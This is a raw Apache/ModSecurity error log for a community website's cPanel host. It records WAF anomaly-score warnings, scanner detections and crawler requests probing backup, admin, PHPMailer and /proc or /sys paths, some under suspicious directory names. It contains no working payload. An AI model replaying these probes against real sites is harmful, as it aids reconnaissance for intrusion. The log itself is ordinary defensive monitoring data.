[Fri Jul 17 09:35:49.141795 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/backup/admin/"] [unique_id "almqHOjME1mgqYZ5O94tIwAAAAE"]
[Fri Jul 17 09:35:49.142054 2026] [authz_core:error] [pid 2031172:tid 2031172] [client 216.244.66.236:0] AH01630: client denied by server configuration: /home/anandaob/public_html/backup/admin/error_log
[Fri Jul 17 09:35:50.807411 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:43372] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:35:51.166553 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/backup/admin/"] [unique_id "almqHOjME1mgqYZ5O94tIwAAAAE"]
[Fri Jul 17 09:35:52.165836 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:48072] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:35:56.379011 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:48284] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:35:59.592072 2026] [security2:error] [pid 2050581:tid 2050581] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty41/subsystem/tty54/dev"] [unique_id "almqJ8zGNCrIh2ysmniMzAAAABY"]
[Fri Jul 17 09:35:59.592134 2026] [security2:error] [pid 2050581:tid 2050581] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty41/subsystem/tty54/dev"] [unique_id "almqJ8zGNCrIh2ysmniMzAAAABY"]
[Fri Jul 17 09:36:00.712622 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/tty/ttyS0/subsystem/tty2/dev"] [unique_id "almqKLoj0IkvhSCYadmJEAAAAAQ"]
[Fri Jul 17 09:36:00.712667 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/tty/ttyS0/subsystem/tty2/dev"] [unique_id "almqKLoj0IkvhSCYadmJEAAAAAQ"]
[Fri Jul 17 09:36:05.663790 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:12.438417 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:12.601845 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:13.951659 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:49032] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:14.979218 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty40/subsystem/ptmx/dev"] [unique_id "almqNjsMb3am0TgkjETh_wAAAAo"]
[Fri Jul 17 09:36:14.979288 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty40/subsystem/ptmx/dev"] [unique_id "almqNjsMb3am0TgkjETh_wAAAAo"]
[Fri Jul 17 09:36:15.192143 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:49094] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:15.958204 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:49146] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:18.658928 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/public_html/PHPMailer/"] [unique_id "almqOo-0g_VSPeIeFN3HyQAAAAs"]
[Fri Jul 17 09:36:18.659470 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html/PHPMailer/"] [unique_id "almqOo-0g_VSPeIeFN3HyQAAAAs"]
[Fri Jul 17 09:36:18.660091 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html/PHPMailer/"] [unique_id "almqOo-0g_VSPeIeFN3HyQAAAAs"]
[Fri Jul 17 09:36:20.076719 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:49270] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:23.261887 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:48868] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:23.809988 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:23.844703 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:24.722961 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:48932] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:25.081405 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:48942] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:25.999307 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:49002] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:28.431658 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:28.595844 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:49120] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:29.632281 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:49196] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:33.075010 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:33.291817 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:35.364262 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:36.029390 2026] [security2:error] [pid 2028246:tid 2028246] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almqTDsMb3am0TgkjETiJgAAAAo"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:36:36.029443 2026] [security2:error] [pid 2028246:tid 2028246] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almqTDsMb3am0TgkjETiJgAAAAo"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:36:36.139119 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:37.750700 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:37.925203 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:39.183898 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/mouse2/subsystem/input6/uniq"] [unique_id "almqT1h1WDijTxd1xw5TpAAAAAc"]
[Fri Jul 17 09:36:39.183933 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/mouse2/subsystem/input6/uniq"] [unique_id "almqT1h1WDijTxd1xw5TpAAAAAc"]
[Fri Jul 17 09:36:39.754855 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:39.912542 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty60/subsystem/tty30/dev"] [unique_id "almqT1h1WDijTxd1xw5TpQAAAAc"]
[Fri Jul 17 09:36:39.912594 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty60/subsystem/tty30/dev"] [unique_id "almqT1h1WDijTxd1xw5TpQAAAAc"]
[Fri Jul 17 09:36:40.050910 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:40.094071 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:40.118657 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:37846] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:40.459940 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:40.692742 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/img/news- img1.png"] [unique_id "almqUI-0g_VSPeIeFN3H4gAAAAs"]
[Fri Jul 17 09:36:40.693159 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/img/news- img1.png"] [unique_id "almqUI-0g_VSPeIeFN3H4gAAAAs"]
[Fri Jul 17 09:36:40.750311 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/img/news- img1.png"] [unique_id "almqUI-0g_VSPeIeFN3H4gAAAAs"]
[Fri Jul 17 09:36:40.933901 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:41.869685 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:41.934740 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:43.289930 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty1/subsystem/tty60/dev"] [unique_id "almqU614q1EBnanVMYGrcQAAAAk"]
[Fri Jul 17 09:36:43.289976 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty1/subsystem/tty60/dev"] [unique_id "almqU614q1EBnanVMYGrcQAAAAk"]
[Fri Jul 17 09:36:43.653481 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/event2/device/power/control"] [unique_id "almqUwRRrtuZqNDDSqW3SwAAABo"]
[Fri Jul 17 09:36:43.653514 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/event2/device/power/control"] [unique_id "almqUwRRrtuZqNDDSqW3SwAAABo"]
[Fri Jul 17 09:36:43.912617 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almqU7EWOaI5pmYo9fnWWwAAAAA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:36:43.912678 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almqU7EWOaI5pmYo9fnWWwAAAAA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:36:44.101935 2026] [security2:error] [pid 2031172:tid 2031172] [client 57.141.18.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory61/node0/memory18/node0/memory101/node0/"] [unique_id "almqU-jME1mgqYZ5O94tawAAAAE"]
[Fri Jul 17 09:36:44.101966 2026] [security2:error] [pid 2031172:tid 2031172] [client 57.141.18.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory61/node0/memory18/node0/memory101/node0/"] [unique_id "almqU-jME1mgqYZ5O94tawAAAAE"]
[Fri Jul 17 09:36:44.586454 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:45.421835 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:37752] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:46.308120 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty16/subsystem/tty51/dev"] [unique_id "almqVujME1mgqYZ5O94tbgAAAAE"]
[Fri Jul 17 09:36:46.308157 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty16/subsystem/tty51/dev"] [unique_id "almqVujME1mgqYZ5O94tbgAAAAE"]
[Fri Jul 17 09:36:49.571262 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:37856] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:53.448102 2026] [security2:error] [pid 2028246:tid 2028246] [client 20.169.105.34:36328] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/118/224/541/310"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almqXTsMb3am0TgkjETiPAAAAAo"]
[Fri Jul 17 09:36:53.448223 2026] [security2:error] [pid 2028246:tid 2028246] [client 20.169.105.34:36328] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almqXTsMb3am0TgkjETiPAAAAAo"]
[Fri Jul 17 09:36:53.448516 2026] [security2:error] [pid 2028246:tid 2028246] [client 20.169.105.34:36328] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almqXTsMb3am0TgkjETiPAAAAAo"]
[Fri Jul 17 09:36:53.448974 2026] [security2:error] [pid 2028246:tid 2028246] [client 20.169.105.34:36328] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 8, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almqXTsMb3am0TgkjETiPAAAAAo"]
[Fri Jul 17 09:36:53.449027 2026] [security2:error] [pid 2028246:tid 2028246] [client 20.169.105.34:36328] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cloudtourssrilan-ip": Permission denied [hostname "66.85.158.91"] [uri "/"] [unique_id "almqXTsMb3am0TgkjETiPAAAAAo"]
[Fri Jul 17 09:36:55.185678 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:60496] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:56.943712 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:60586] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:57.835697 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:60634] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:58.548659 2026] [security2:error] [pid 2018741:tid 2018741] [client 20.169.105.34:36338] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/118/224/541/310"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/cgi-sys/suspendedpage.cgi"] [unique_id "almqYroj0IkvhSCYadmJSQAAAAQ"], referer: https://66.85.158.91:8443/
[Fri Jul 17 09:36:58.548787 2026] [security2:error] [pid 2018741:tid 2018741] [client 20.169.105.34:36338] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/cgi-sys/suspendedpage.cgi"] [unique_id "almqYroj0IkvhSCYadmJSQAAAAQ"], referer: https://66.85.158.91:8443/
[Fri Jul 17 09:36:58.549116 2026] [security2:error] [pid 2018741:tid 2018741] [client 20.169.105.34:36338] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/cgi-sys/suspendedpage.cgi"] [unique_id "almqYroj0IkvhSCYadmJSQAAAAQ"], referer: https://66.85.158.91:8443/
[Fri Jul 17 09:36:58.560781 2026] [cgi:error] [pid 2018741:tid 2018741] [client 20.169.105.34:36338] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden, referer: https://66.85.158.91:8443/
